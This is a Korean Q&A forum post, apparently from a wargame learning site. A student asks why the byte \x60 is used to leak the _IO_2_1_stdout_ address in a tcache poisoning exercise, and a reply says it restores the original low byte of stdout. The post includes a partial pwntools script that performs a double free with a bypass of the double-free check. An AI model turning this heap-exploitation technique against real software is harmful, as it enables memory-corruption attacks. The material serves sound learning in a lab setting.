\x60의 의미
전부 이해는 했는데 하나가 걸리네요. tcache poisonning 문제에서 _IO_2_1_stdout_주소 구하려고 \x60으로 릭하는데 \x60의 의미는 무엇인가요?
from pwn import *
p = process("./tcache_poison")
e = ELF("./tcache_poison")
def slog(symbol, addr): return success(symbol + ": " + hex(addr))
def alloc(size, data):
p.sendlineafter("Edit\n", "1")
p.sendlineafter(":", str(size))
p.sendafter(":", data)
def free():
p.sendlineafter("Edit\n", "2")
def print_chunk():
p.sendlineafter("Edit\n", "3")
def edit(data):
p.sendlineafter("Edit\n", "4")
p.sendafter(":", data)
# Allocate a chunk of size 0x40
alloc(0x30, "dreamhack")
free()
# tcache[0x40]: "dreamhack"
# Bypass the DFB mitigation
edit("A"*8 + "\x00")
free()
# tcache[0x40]: "dreamhack" -> "dreamhack"
# Append "0x4141414141414141" to tcache[0x40]
alloc(0x30, "AAAAAAAA")
p.interactive()
#pwnable
작성자 정보
답변
1
wyv3rn
무플 방지 위원회장
기존의 stdout값의 마지막 값 입니다.
강의에 자세히 설명되어있는데 입출력 함수가 변조되면 오작동하기에 원래 값으로 덮어주는 역할을 합니다.
우리는 릭만 필요하니까요.